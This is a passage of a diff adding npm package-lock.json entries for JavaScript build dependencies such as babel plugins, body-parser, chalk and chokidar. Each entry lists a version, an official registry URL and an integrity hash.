+            "@types/yargs-parser": "*"
+          }
+        },
+        "ansi-styles": {
+          "version": "4.3.0",
+          "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-4.3.0.tgz",
+          "integrity": "sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==",
+          "requires": {
+            "color-convert": "^2.0.1"
+          }
+        },
+        "chalk": {
+          "version": "4.1.2",
+          "resolved": "https://registry.npmjs.org/chalk/-/chalk-4.1.2.tgz",
+          "integrity": "sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA==",
+          "requires": {
+            "ansi-styles": "^4.1.0",
+            "supports-color": "^7.1.0"
+          }
+        },
+        "color-convert": {
+          "version": "2.0.1",
+          "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-2.0.1.tgz",
+          "integrity": "sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==",
+          "requires": {
+            "color-name": "~1.1.4"
+          }
+        },
+        "color-name": {
+          "version": "1.1.4",
+          "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.4.tgz",
+          "integrity": "sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA=="
+        },
+        "has-flag": {
+          "version": "4.0.0",
+          "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-4.0.0.tgz",
+          "integrity": "sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ=="
+        },
+        "supports-color": {
+          "version": "7.2.0",
+          "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-7.2.0.tgz",
+          "integrity": "sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw==",
+          "requires": {
+            "has-flag": "^4.0.0"
+          }
+        }
+      }
+    },
+    "babel-loader": {
+      "version": "8.2.5",
+      "resolved": "https://registry.npmjs.org/babel-loader/-/babel-loader-8.2.5.tgz",
+      "integrity": "sha512-OSiFfH89LrEMiWd4pLNqGz4CwJDtbs2ZVc+iGu2HrkRfPxId9F2anQj38IxWpmRfsUY0aBZYi1EFcd3mhtRMLQ==",
+      "requires": {
+        "find-cache-dir": "^3.3.1",
+        "loader-utils": "^2.0.0",
+        "make-dir": "^3.1.0",
+        "schema-utils": "^2.6.5"
+      },
+      "dependencies": {
+        "schema-utils": {
+          "version": "2.7.1",
+          "resolved": "https://registry.npmjs.org/schema-utils/-/schema-utils-2.7.1.tgz",
+          "integrity": "sha512-SHiNtMOUGWBQJwzISiVYKu82GiV4QYGePp3odlY1tuKO7gPtphAT5R/py0fA6xtbgLL/RvtJZnU9b8s0F1q0Xg==",
+          "requires": {
+            "@types/json-schema": "^7.0.5",
+            "ajv": "^6.12.4",
+            "ajv-keywords": "^3.5.2"
+          }
+        }
+      }
+    },
+    "babel-plugin-dynamic-import-node": {
+      "version": "2.3.3",
+      "resolved": "https://registry.npmjs.org/babel-plugin-dynamic-import-node/-/babel-plugin-dynamic-import-node-2.3.3.tgz",
+      "integrity": "sha512-jZVI+s9Zg3IqA/kdi0i6UDCybUI3aSBLnglhYbSSjKlV7yF1F/5LWv8MakQmvYpnbJDS6fcBL2KzHSxNCMtWSQ==",
+      "requires": {
+        "object.assign": "^4.1.0"
+      }
+    },
+    "babel-plugin-istanbul": {
+      "version": "6.1.1",
+      "resolved": "https://registry.npmjs.org/babel-plugin-istanbul/-/babel-plugin-istanbul-6.1.1.tgz",
+      "integrity": "sha512-Y1IQok9821cC9onCx5otgFfRm7Lm+I+wwxOx738M/WLPZ9Q42m4IG5W0FNX8WLL2gYMZo3JkuXIH2DOpWM+qwA==",
+      "requires": {
+        "@babel/helper-plugin-utils": "^7.0.0",
+        "@istanbuljs/load-nyc-config": "^1.0.0",
+        "@istanbuljs/schema": "^0.1.2",
+        "istanbul-lib-instrument": "^5.0.4",
+        "test-exclude": "^6.0.0"
+      }
+    },
+    "babel-plugin-jest-hoist": {
+      "version": "27.5.1",
+      "resolved": "https://registry.npmjs.org/babel-plugin-jest-hoist/-/babel-plugin-jest-hoist-27.5.1.tgz",
+      "integrity": "sha512-50wCwD5EMNW4aRpOwtqzyZHIewTYNxLA4nhB+09d8BIssfNfzBRhkBIHiaPv1Si226TQSvp8gxAJm2iY2qs2hQ==",
+      "requires": {
+        "@babel/template": "^7.3.3",
+        "@babel/types": "^7.3.3",
+        "@types/babel__core": "^7.0.0",
+        "@types/babel__traverse": "^7.0.6"
+      }
+    },
+    "babel-plugin-macros": {
+      "version": "3.1.0",
+      "resolved": "https://registry.npmjs.org/babel-plugin-macros/-/babel-plugin-macros-3.1.0.tgz",
+      "integrity": "sha512-Cg7TFGpIr01vOQNODXOOaGz2NpCU5gl8x1qJFbb6hbZxR7XrcE2vtbAsTAbJ7/xwJtUuJEw8K8Zr/AE0LHlesg==",
+      "requires": {
+        "@babel/runtime": "^7.12.5",
+        "cosmiconfig": "^7.0.0",
+        "resolve": "^1.19.0"
+      }
+    },
+    "babel-plugin-named-asset-import": {
+      "version": "0.3.8",
+      "resolved": "https://registry.npmjs.org/babel-plugin-named-asset-import/-/babel-plugin-named-asset-import-0.3.8.tgz",
+      "integrity": "sha512-WXiAc++qo7XcJ1ZnTYGtLxmBCVbddAml3CEXgWaBzNzLNoxtQ8AiGEFDMOhot9XjTCQbvP5E77Fj9Gk924f00Q==",
+      "requires": {}
+    },
+    "babel-plugin-polyfill-corejs2": {
+      "version": "0.3.3",
+      "resolved": "https://registry.npmjs.org/babel-plugin-polyfill-corejs2/-/babel-plugin-polyfill-corejs2-0.3.3.tgz",
+      "integrity": "sha512-8hOdmFYFSZhqg2C/JgLUQ+t52o5nirNwaWM2B9LWteozwIvM14VSwdsCAUET10qT+kmySAlseadmfeeSWFCy+Q==",
+      "requires": {
+        "@babel/compat-data": "^7.17.7",
+        "@babel/helper-define-polyfill-provider": "^0.3.3",
+        "semver": "^6.1.1"
+      },
+      "dependencies": {
+        "semver": {
+          "version": "6.3.1",
+          "resolved": "https://registry.npmjs.org/semver/-/semver-6.3.1.tgz",
+          "integrity": "sha512-BR7VvDCVHO+q2xBEWskxS6DJE1qRnb7DxzUrogb71CWoSficBxYsiAGd+Kl0mmq/MprG9yArRkyrQxTO6XjMzA=="
+        }
+      }
+    },
+    "babel-plugin-polyfill-corejs3": {
+      "version": "0.6.0",
+      "resolved": "https://registry.npmjs.org/babel-plugin-polyfill-corejs3/-/babel-plugin-polyfill-corejs3-0.6.0.tgz",
+      "integrity": "sha512-+eHqR6OPcBhJOGgsIar7xoAB1GcSwVUA3XjAd7HJNzOXT4wv6/H7KIdA/Nc60cvUlDbKApmqNvD1B1bzOt4nyA==",
+      "requires": {
+        "@babel/helper-define-polyfill-provider": "^0.3.3",
+        "core-js-compat": "^3.25.1"
+      }
+    },
+    "babel-plugin-polyfill-regenerator": {
+      "version": "0.4.1",
+      "resolved": "https://registry.npmjs.org/babel-plugin-polyfill-regenerator/-/babel-plugin-polyfill-regenerator-0.4.1.tgz",
+      "integrity": "sha512-NtQGmyQDXjQqQ+IzRkBVwEOz9lQ4zxAQZgoAYEtU9dJjnl1Oc98qnN7jcp+bE7O7aYzVpavXE3/VKXNzUbh7aw==",
+      "requires": {
+        "@babel/helper-define-polyfill-provider": "^0.3.3"
+      }
+    },
+    "babel-plugin-transform-react-remove-prop-types": {
+      "version": "0.4.24",
+      "resolved": "https://registry.npmjs.org/babel-plugin-transform-react-remove-prop-types/-/babel-plugin-transform-react-remove-prop-types-0.4.24.tgz",
+      "integrity": "sha512-eqj0hVcJUR57/Ug2zE1Yswsw4LhuqqHhD+8v120T1cl3kjg76QwtyBrdIk4WVwK+lAhBJVYCd/v+4nc4y+8JsA=="
+    },
+    "babel-preset-current-node-syntax": {
+      "version": "1.0.1",
+      "resolved": "https://registry.npmjs.org/babel-preset-current-node-syntax/-/babel-preset-current-node-syntax-1.0.1.tgz",
+      "integrity": "sha512-M7LQ0bxarkxQoN+vz5aJPsLBn77n8QgTFmo8WK0/44auK2xlCXrYcUxHFxgU7qW5Yzw/CjmLRK2uJzaCd7LvqQ==",
+      "requires": {
+        "@babel/plugin-syntax-async-generators": "^7.8.4",
+        "@babel/plugin-syntax-bigint": "^7.8.3",
+        "@babel/plugin-syntax-class-properties": "^7.8.3",
+        "@babel/plugin-syntax-import-meta": "^7.8.3",
+        "@babel/plugin-syntax-json-strings": "^7.8.3",
+        "@babel/plugin-syntax-logical-assignment-operators": "^7.8.3",
+        "@babel/plugin-syntax-nullish-coalescing-operator": "^7.8.3",
+        "@babel/plugin-syntax-numeric-separator": "^7.8.3",
+        "@babel/plugin-syntax-object-rest-spread": "^7.8.3",
+        "@babel/plugin-syntax-optional-catch-binding": "^7.8.3",
+        "@babel/plugin-syntax-optional-chaining": "^7.8.3",
+        "@babel/plugin-syntax-top-level-await": "^7.8.3"
+      }
+    },
+    "babel-preset-jest": {
+      "version": "27.5.1",
+      "resolved": "https://registry.npmjs.org/babel-preset-jest/-/babel-preset-jest-27.5.1.tgz",
+      "integrity": "sha512-Nptf2FzlPCWYuJg41HBqXVT8ym6bXOevuCTbhxlUpjwtysGaIWFvDEjp4y+G7fl13FgOdjs7P/DmErqH7da0Ag==",
+      "requires": {
+        "babel-plugin-jest-hoist": "^27.5.1",
+        "babel-preset-current-node-syntax": "^1.0.0"
+      }
+    },
+    "babel-preset-react-app": {
+      "version": "10.0.1",
+      "resolved": "https://registry.npmjs.org/babel-preset-react-app/-/babel-preset-react-app-10.0.1.tgz",
+      "integrity": "sha512-b0D9IZ1WhhCWkrTXyFuIIgqGzSkRIH5D5AmB0bXbzYAB1OBAwHcUeyWW2LorutLWF5btNo/N7r/cIdmvvKJlYg==",
+      "requires": {
+        "@babel/core": "^7.16.0",
+        "@babel/plugin-proposal-class-properties": "^7.16.0",
+        "@babel/plugin-proposal-decorators": "^7.16.4",
+        "@babel/plugin-proposal-nullish-coalescing-operator": "^7.16.0",
+        "@babel/plugin-proposal-numeric-separator": "^7.16.0",
+        "@babel/plugin-proposal-optional-chaining": "^7.16.0",
+        "@babel/plugin-proposal-private-methods": "^7.16.0",
+        "@babel/plugin-transform-flow-strip-types": "^7.16.0",
+        "@babel/plugin-transform-react-display-name": "^7.16.0",
+        "@babel/plugin-transform-runtime": "^7.16.4",
+        "@babel/preset-env": "^7.16.4",
+        "@babel/preset-react": "^7.16.0",
+        "@babel/preset-typescript": "^7.16.0",
+        "@babel/runtime": "^7.16.3",
+        "babel-plugin-macros": "^3.1.0",
+        "babel-plugin-transform-react-remove-prop-types": "^0.4.24"
+      }
+    },
+    "balanced-match": {
+      "version": "1.0.2",
+      "resolved": "https://registry.npmjs.org/balanced-match/-/balanced-match-1.0.2.tgz",
+      "integrity": "sha512-3oSeUO0TMV67hN1AmbXsK4yaqU7tjiHlbxRDZOpH0KW9+CeX4bRAaX0Anxt0tx2MrpRpWwQaPwIlISEJhYU5Pw=="
+    },
+    "batch": {
+      "version": "0.6.1",
+      "resolved": "https://registry.npmjs.org/batch/-/batch-0.6.1.tgz",
+      "integrity": "sha512-x+VAiMRL6UPkx+kudNvxTl6hB2XNNCG2r+7wixVfIYwu/2HKRXimwQyaumLjMveWvT2Hkd/cAJw+QBMfJ/EKVw=="
+    },
+    "bfj": {
+      "version": "7.0.2",
+      "resolved": "https://registry.npmjs.org/bfj/-/bfj-7.0.2.tgz",
+      "integrity": "sha512-+e/UqUzwmzJamNF50tBV6tZPTORow7gQ96iFow+8b562OdMpEK0BcJEq2OSPEDmAbSMBQ7PKZ87ubFkgxpYWgw==",
+      "requires": {
+        "bluebird": "^3.5.5",
+        "check-types": "^11.1.1",
+        "hoopy": "^0.1.4",
+        "tryer": "^1.0.1"
+      }
+    },
+    "big.js": {
+      "version": "5.2.2",
+      "resolved": "https://registry.npmjs.org/big.js/-/big.js-5.2.2.tgz",
+      "integrity": "sha512-vyL2OymJxmarO8gxMr0mhChsO9QGwhynfuu4+MHTAW6czfq9humCB7rKpUjDd9YUiDPU4mzpyupFSvOClAwbmQ=="
+    },
+    "binary-extensions": {
+      "version": "2.2.0",
+      "resolved": "https://registry.npmjs.org/binary-extensions/-/binary-extensions-2.2.0.tgz",
+      "integrity": "sha512-jDctJ/IVQbZoJykoeHbhXpOlNBqGNcwXJKJog42E5HDPUwQTSdjCHdihjj0DlnheQ7blbT6dHOafNAiS8ooQKA=="
+    },
+    "bluebird": {
+      "version": "3.7.2",
+      "resolved": "https://registry.npmjs.org/bluebird/-/bluebird-3.7.2.tgz",
+      "integrity": "sha512-XpNj6GDQzdfW+r2Wnn7xiSAd7TM3jzkxGXBGTtWKuSXv1xUV+azxAm8jdWZN06QTQk+2N2XB9jRDkvbmQmcRtg=="
+    },
+    "body-parser": {
+      "version": "1.20.3",
+      "resolved": "https://registry.npmjs.org/body-parser/-/body-parser-1.20.3.tgz",
+      "integrity": "sha512-7rAxByjUMqQ3/bHJy7D6OGXvx/MMc4IqBn/X0fcM1QUcAItpZrBEYhWGem+tzXH90c+G01ypMcYJBO9Y30203g==",
+      "requires": {
+        "bytes": "3.1.2",
+        "content-type": "~1.0.5",
+        "debug": "2.6.9",
+        "depd": "2.0.0",
+        "destroy": "1.2.0",
+        "http-errors": "2.0.0",
+        "iconv-lite": "0.4.24",
+        "on-finished": "2.4.1",
+        "qs": "6.13.0",
+        "raw-body": "2.5.2",
+        "type-is": "~1.6.18",
+        "unpipe": "1.0.0"
+      },
+      "dependencies": {
+        "bytes": {
+          "version": "3.1.2",
+          "resolved": "https://registry.npmjs.org/bytes/-/bytes-3.1.2.tgz",
+          "integrity": "sha512-/Nf7TyzTx6S3yRJObOAV7956r8cr2+Oj8AC5dt8wSP3BQAoeX58NoHyCU8P8zGkNXStjTSi6fzO6F0pBdcYbEg=="
+        },
+        "debug": {
+          "version": "2.6.9",
+          "resolved": "https://registry.npmjs.org/debug/-/debug-2.6.9.tgz",
+          "integrity": "sha512-bC7ElrdJaJnPbAP+1EotYvqZsb3ecl5wi6Bfi6BJTUcNowp6cvspg0jXznRTKDjm/E7AdgFBVeAPVMNcKGsHMA==",
+          "requires": {
+            "ms": "2.0.0"
+          }
+        },
+        "iconv-lite": {
+          "version": "0.4.24",
+          "resolved": "https://registry.npmjs.org/iconv-lite/-/iconv-lite-0.4.24.tgz",
+          "integrity": "sha512-v3MXnZAcvnywkTUEZomIActle7RXXeedOR31wwl7VlyoXO4Qi9arvSenNQWne1TcRwhCL1HwLI21bEqdpj8/rA==",
+          "requires": {
+            "safer-buffer": ">= 2.1.2 < 3"
+          }
+        },
+        "ms": {
+          "version": "2.0.0",
+          "resolved": "https://registry.npmjs.org/ms/-/ms-2.0.0.tgz",
+          "integrity": "sha512-Tpp60P6IUJDTuOq/5Z8cdskzJujfwqfOTkrwIwj7IRISpnkJnT6SyJ4PCPnGMoFjC9ddhal5KVIYtAt97ix05A=="
+        }
+      }
+    },
+    "bonjour-service": {
+      "version": "1.0.14",
+      "resolved": "https://registry.npmjs.org/bonjour-service/-/bonjour-service-1.0.14.tgz",
+      "integrity": "sha512-HIMbgLnk1Vqvs6B4Wq5ep7mxvj9sGz5d1JJyDNSGNIdA/w2MCz6GTjWTdjqOJV1bEPj+6IkxDvWNFKEBxNt4kQ==",
+      "requires": {
+        "array-flatten": "^2.1.2",
+        "dns-equal": "^1.0.0",
+        "fast-deep-equal": "^3.1.3",
+        "multicast-dns": "^7.2.5"
+      }
+    },
+    "boolbase": {
+      "version": "1.0.0",
+      "resolved": "https://registry.npmjs.org/boolbase/-/boolbase-1.0.0.tgz",
+      "integrity": "sha512-JZOSA7Mo9sNGB8+UjSgzdLtokWAky1zbztM3WRLCbZ70/3cTANmQmOdR7y2g+J0e2WXywy1yS468tY+IruqEww=="
+    },
+    "bootstrap": {
+      "version": "4.4.1",
+      "resolved": "https://registry.npmjs.org/bootstrap/-/bootstrap-4.4.1.tgz",
+      "integrity": "sha512-tbx5cHubwE6e2ZG7nqM3g/FZ5PQEDMWmMGNrCUBVRPHXTJaH7CBDdsLeu3eCh3B1tzAxTnAbtmrzvWEvT2NNEA==",
+      "requires": {}
+    },
+    "brace-expansion": {
+      "version": "1.1.11",
+      "resolved": "https://registry.npmjs.org/brace-expansion/-/brace-expansion-1.1.11.tgz",
+      "integrity": "sha512-iCuPHDFgrHX7H2vEI/5xpz07zSHB00TpugqhmYtVmMO6518mCuRMoOYFldEBl0g187ufozdaHgWKcYFb61qGiA==",
+      "requires": {
+        "balanced-match": "^1.0.0",
+        "concat-map": "0.0.1"
+      }
+    },
+    "braces": {
+      "version": "3.0.3",
+      "resolved": "https://registry.npmjs.org/braces/-/braces-3.0.3.tgz",
+      "integrity": "sha512-yQbXgO/OSZVD2IsiLlro+7Hf6Q18EJrKSEsdoMzKePKXct3gvD8oLcOQdIzGupr5Fj+EDe8gO/lxc1BzfMpxvA==",
+      "requires": {
+        "fill-range": "^7.1.1"
+      }
+    },
+    "browser-process-hrtime": {
+      "version": "1.0.0",
+      "resolved": "https://registry.npmjs.org/browser-process-hrtime/-/browser-process-hrtime-1.0.0.tgz",
+      "integrity": "sha512-9o5UecI3GhkpM6DrXr69PblIuWxPKk9Y0jHBRhdocZ2y7YECBFCsHm79Pr3OyR2AvjhDkabFJaDJMYRazHgsow=="
+    },
+    "browserslist": {
+      "version": "4.23.3",
+      "resolved": "https://registry.npmjs.org/browserslist/-/browserslist-4.23.3.tgz",
+      "integrity": "sha512-btwCFJVjI4YWDNfau8RhZ+B1Q/VLoUITrm3RlP6y1tYGWIOa+InuYiRGXUBXo8nA1qKmHMyLB/iVQg5TT4eFoA==",
+      "requires": {
+        "caniuse-lite": "^1.0.30001646",
+        "electron-to-chromium": "^1.5.4",
+        "node-releases": "^2.0.18",
+        "update-browserslist-db": "^1.1.0"
+      }
+    },
+    "bser": {
+      "version": "2.1.1",
+      "resolved": "https://registry.npmjs.org/bser/-/bser-2.1.1.tgz",
+      "integrity": "sha512-gQxTNE/GAfIIrmHLUE3oJyp5FO6HRBfhjnw4/wMmA63ZGDJnWBmgY/lyQBpnDUkGmAhbSe39tx2d/iTOAfglwQ==",
+      "requires": {
+        "node-int64": "^0.4.0"
+      }
+    },
+    "buffer-from": {
+      "version": "1.1.2",
+      "resolved": "https://registry.npmjs.org/buffer-from/-/buffer-from-1.1.2.tgz",
+      "integrity": "sha512-E+XQCRwSbaaiChtv6k6Dwgc+bx+Bs6vuKJHHl5kox/BaKbhiXzqQOwK4cO22yElGp2OCmjwVhT3HmxgyPGnJfQ=="
+    },
+    "builtin-modules": {
+      "version": "3.3.0",
+      "resolved": "https://registry.npmjs.org/builtin-modules/-/builtin-modules-3.3.0.tgz",
+      "integrity": "sha512-zhaCDicdLuWN5UbN5IMnFqNMhNfo919sH85y2/ea+5Yg9TsTkeZxpL+JLbp6cgYFS4sRLp3YV4S6yDuqVWHYOw=="
+    },
+    "bytes": {
+      "version": "3.0.0",
+      "resolved": "https://registry.npmjs.org/bytes/-/bytes-3.0.0.tgz",
+      "integrity": "sha512-pMhOfFDPiv9t5jjIXkHosWmkSyQbvsgEVNkz0ERHbuLh2T/7j4Mqqpz523Fe8MVY89KC6Sh/QfS2sM+SjgFDcw=="
+    },
+    "call-bind": {
+      "version": "1.0.7",
+      "resolved": "https://registry.npmjs.org/call-bind/-/call-bind-1.0.7.tgz",
+      "integrity": "sha512-GHTSNSYICQ7scH7sZ+M2rFopRoLh8t2bLSW6BbgrtLsahOIB5iyAVJf9GjWK3cYTDaMj4XdBpM1cA6pIS0Kv2w==",
+      "requires": {
+        "es-define-property": "^1.0.0",
+        "es-errors": "^1.3.0",
+        "function-bind": "^1.1.2",
+        "get-intrinsic": "^1.2.4",
+        "set-function-length": "^1.2.1"
+      }
+    },
+    "callsites": {
+      "version": "3.1.0",
+      "resolved": "https://registry.npmjs.org/callsites/-/callsites-3.1.0.tgz",
+      "integrity": "sha512-P8BjAsXvZS+VIDUI11hHCQEv74YT67YUi5JJFNWIqL235sBmjX4+qx9Muvls5ivyNENctx46xQLQ3aTuE7ssaQ=="
+    },
+    "camel-case": {
+      "version": "4.1.2",
+      "resolved": "https://registry.npmjs.org/camel-case/-/camel-case-4.1.2.tgz",
+      "integrity": "sha512-gxGWBrTT1JuMx6R+o5PTXMmUnhnVzLQ9SNutD4YqKtI6ap897t3tKECYla6gCWEkplXnlNybEkZg9GEGxKFCgw==",
+      "requires": {
+        "pascal-case": "^3.1.2",
+        "tslib": "^2.0.3"
+      }
+    },
+    "camelcase": {
+      "version": "6.3.0",
+      "resolved": "https://registry.npmjs.org/camelcase/-/camelcase-6.3.0.tgz",
+      "integrity": "sha512-Gmy6FhYlCY7uOElZUSbxo2UCDH8owEk996gkbrpsgGtrJLM3J7jGxl9Ic7Qwwj4ivOE5AWZWRMecDdF7hqGjFA=="
+    },
+    "camelcase-css": {
+      "version": "2.0.1",
+      "resolved": "https://registry.npmjs.org/camelcase-css/-/camelcase-css-2.0.1.tgz",
+      "integrity": "sha512-QOSvevhslijgYwRx6Rv7zKdMF8lbRmx+uQGx2+vDc+KI/eBnsy9kit5aj23AgGu3pa4t9AgwbnXWqS+iOY+2aA=="
+    },
+    "caniuse-api": {
+      "version": "3.0.0",
+      "resolved": "https://registry.npmjs.org/caniuse-api/-/caniuse-api-3.0.0.tgz",
+      "integrity": "sha512-bsTwuIg/BZZK/vreVTYYbSWoe2F+71P7K5QGEX+pT250DZbfU1MQ5prOKpPR+LL6uWKK3KMwMCAS74QB3Um1uw==",
+      "requires": {
+        "browserslist": "^4.0.0",
+        "caniuse-lite": "^1.0.0",
+        "lodash.memoize": "^4.1.2",
+        "lodash.uniq": "^4.5.0"
+      }
+    },
+    "caniuse-lite": {
+      "version": "1.0.30001655",
+      "resolved": "https://registry.npmjs.org/caniuse-lite/-/caniuse-lite-1.0.30001655.tgz",
+      "integrity": "sha512-jRGVy3iSGO5Uutn2owlb5gR6qsGngTw9ZTb4ali9f3glshcNmJ2noam4Mo9zia5P9Dk3jNNydy7vQjuE5dQmfg=="
+    },
+    "case-sensitive-paths-webpack-plugin": {
+      "version": "2.4.0",
+      "resolved": "https://registry.npmjs.org/case-sensitive-paths-webpack-plugin/-/case-sensitive-paths-webpack-plugin-2.4.0.tgz",
+      "integrity": "sha512-roIFONhcxog0JSSWbvVAh3OocukmSgpqOH6YpMkCvav/ySIV3JKg4Dc8vYtQjYi/UxpNE36r/9v+VqTQqgkYmw=="
+    },
+    "chalk": {
+      "version": "2.4.2",
+      "resolved": "https://registry.npmjs.org/chalk/-/chalk-2.4.2.tgz",
+      "integrity": "sha512-Mti+f9lpJNcwF4tWV8/OrTTtF1gZi+f8FqlyAdouralcFWFQWF2+NgCHShjkCb+IFBLq9buZwE1xckQU4peSuQ==",
+      "requires": {
+        "ansi-styles": "^3.2.1",
+        "escape-string-regexp": "^1.0.5",
+        "supports-color": "^5.3.0"
+      }
+    },
+    "char-regex": {
+      "version": "1.0.2",
+      "resolved": "https://registry.npmjs.org/char-regex/-/char-regex-1.0.2.tgz",
+      "integrity": "sha512-kWWXztvZ5SBQV+eRgKFeh8q5sLuZY2+8WUIzlxWVTg+oGwY14qylx1KbKzHd8P6ZYkAg0xyIDU9JMHhyJMZ1jw=="
+    },
+    "check-types": {
+      "version": "11.1.2",
+      "resolved": "https://registry.npmjs.org/check-types/-/check-types-11.1.2.tgz",
+      "integrity": "sha512-tzWzvgePgLORb9/3a0YenggReLKAIb2owL03H2Xdoe5pKcUyWRSEQ8xfCar8t2SIAuEDwtmx2da1YB52YuHQMQ=="
+    },
+    "chokidar": {
+      "version": "3.5.3",
+      "resolved": "https://registry.npmjs.org/chokidar/-/chokidar-3.5.3.tgz",
+      "integrity": "sha512-Dr3sfKRP6oTcjf2JmUmFJfeVMvXBdegxB0iVQ5eb2V10uFJUCAS8OByZdVAyVb8xXNz3GjjTgj9kLWsZTqE6kw==",
+      "requires": {
+        "anymatch": "~3.1.2",
+        "braces": "~3.0.2",
+        "fsevents": "~2.3.2",
+        "glob-parent": "~5.1.2",
+        "is-binary-path": "~2.1.0",
+        "is-glob": "~4.0.1",
+        "normalize-path": "~3.0.0",
+        "readdirp": "~3.6.0"
+      },
+      "dependencies": {
+        "glob-parent": {
+          "version": "5.1.2",
+          "resolved": "https://registry.npmjs.org/glob-parent/-/glob-parent-5.1.2.tgz",
+          "integrity": "sha512-AOIgSQCepiJYwP3ARnGx+5VnTu2HBYdzbGP45eLw1vr3zB3vZLeyed1sC9hnbcOc9/SrMyM5RPQrkGz4aS9Zow==",
+          "requires": {
+            "is-glob": "^4.0.1"
+          }
+        }
+      }
+    },
+    "chrome-trace-event": {
+      "version": "1.0.3",
+      "resolved": "https://registry.npmjs.org/chrome-trace-event/-/chrome-trace-event-1.0.3.tgz",
+      "integrity": "sha512-p3KULyQg4S7NIHixdwbGX+nFHkoBiA4YQmyWtjb8XngSKV124nJmRysgAeujbUVb15vh+RvFUfCPqU7rXk+hZg=="
+    },
+    "ci-info": {
+      "version": "3.4.0",
+      "resolved": "https://registry.npmjs.org/ci-info/-/ci-info-3.4.0.tgz",
+      "integrity": "sha512-t5QdPT5jq3o262DOQ8zA6E1tlH2upmUc4Hlvrbx1pGYJuiiHl7O7rvVNI+l8HTVhd/q3Qc9vqimkNk5yiXsAug=="
+    },
+    "cjs-module-lexer": {
+      "version": "1.2.2",
+      "resolved": "https://registry.npmjs.org/cjs-module-lexer/-/cjs-module-lexer-1.2.2.tgz",
+      "integrity": "sha512-cOU9usZw8/dXIXKtwa8pM0OTJQuJkxMN6w30csNRUerHfeQ5R6U3kkU/FtJeIf3M202OHfY2U8ccInBG7/xogA=="
+    },
+    "clean-css": {
+      "version": "5.3.1",
+      "resolved": "https://registry.npmjs.org/clean-css/-/clean-css-5.3.1.tgz",
+      "integrity": "sha512-lCr8OHhiWCTw4v8POJovCoh4T7I9U11yVsPjMWWnnMmp9ZowCxyad1Pathle/9HjaDp+fdQKjO9fQydE6RHTZg==",
+      "requires": {
+        "source-map": "~0.6.0"
+      }
+    },
+    "cliui": {
+      "version": "7.0.4",
+      "resolved": "https://registry.npmjs.org/cliui/-/cliui-7.0.4.tgz",
+      "integrity": "sha512-OcRE68cOsVMXp1Yvonl/fzkQOyjLSu/8bhPDfQt0e0/Eb283TKP20Fs2MqoPsr9SwA595rRCA+QMzYc9nBP+JQ==",
+      "requires": {
+        "string-width": "^4.2.0",
+        "strip-ansi": "^6.0.0",
+        "wrap-ansi": "^7.0.0"
+      }
+    },
+    "co": {
+      "version": "4.6.0",
+      "resolved": "https://registry.npmjs.org/co/-/co-4.6.0.tgz",
+      "integrity": "sha512-QVb0dM5HvG+uaxitm8wONl7jltx8dqhfU33DcqtOZcLSVIKSDDLDi7+0LbAKiyI8hD9u42m2YxXSkMGWThaecQ=="
+    },
+    "coa": {
+      "version": "2.0.2",
+      "resolved": "https://registry.npmjs.org/coa/-/coa-2.0.2.tgz",
+      "integrity": "sha512-q5/jG+YQnSy4nRTV4F7lPepBJZ8qBNJJDBuJdoejDyLXgmL7IEo+Le2JDZudFTFt7mrCqIRaSjws4ygRCTCAXA==",
+      "requires": {
+        "@types/q": "^1.5.1",
+        "chalk": "^2.4.1",
+        "q": "^1.1.2"
+      }
+    },
+    "collect-v8-coverage": {
+      "version": "1.0.1",
+      "resolved": "https://registry.npmjs.org/collect-v8-coverage/-/collect-v8-coverage-1.0.1.tgz",
+      "integrity": "sha512-iBPtljfCNcTKNAto0KEtDfZ3qzjJvqE3aTGZsbhjSBlorqpXJlaWWtPO35D+ZImoC3KWejX64o+yPGxhWSTzfg=="
+    },
+    "color-convert": {
+      "version": "1.9.3",
+      "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-1.9.3.tgz",
+      "integrity": "sha512-QfAUtd+vFdAtFQcC8CCyYt1fYWxSqAiK2cSD6zDB8N3cpsEBAvRxp9zOGg6G/SHHJYAT88/az/IuDGALsNVbGg==",
+      "requires": {
+        "color-name": "1.1.3"
+      }
+    },
+    "color-name": {
+      "version": "1.1.3",
+      "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.3.tgz",
+      "integrity": "sha1-p9BVi9icQveV3UIyj3QIMcpTvCU="
+    },
+    "colord": {
+      "version": "2.9.3",
+      "resolved": "https://registry.npmjs.org/colord/-/colord-2.9.3.tgz",
+      "integrity": "sha512-jeC1axXpnb0/2nn/Y1LPuLdgXBLH7aDcHu4KEKfqw3CUhX7ZpfBSlPKyqXE6btIgEzfWtrX3/tyBCaCvXvMkOw=="
+    },
+    "colorette": {
+      "version": "2.0.19",
+      "resolved": "https://registry.npmjs.org/colorette/-/colorette-2.0.19.tgz",
+      "integrity": "sha512-3tlv/dIP7FWvj3BsbHrGLJ6l/oKh1O3TcgBqMn+yyCagOxc23fyzDS6HypQbgxWbkpDnf52p1LuR4eWDQ/K9WQ=="
+    },
+    "combined-stream": {
+      "version": "1.0.8",
+      "resolved": "https://registry.npmjs.org/combined-stream/-/combined-stream-1.0.8.tgz",
+      "integrity": "sha512-FQN4MRfuJeHf7cBbBMJFXhKSDq+2kAArBlmRBvcvFE5BB1HZKXtSFASDhdlz9zOYwxh8lDdnvmMOe/+5cdoEdg==",
+      "requires": {
+        "delayed-stream": "~1.0.0"
+      }
+    },
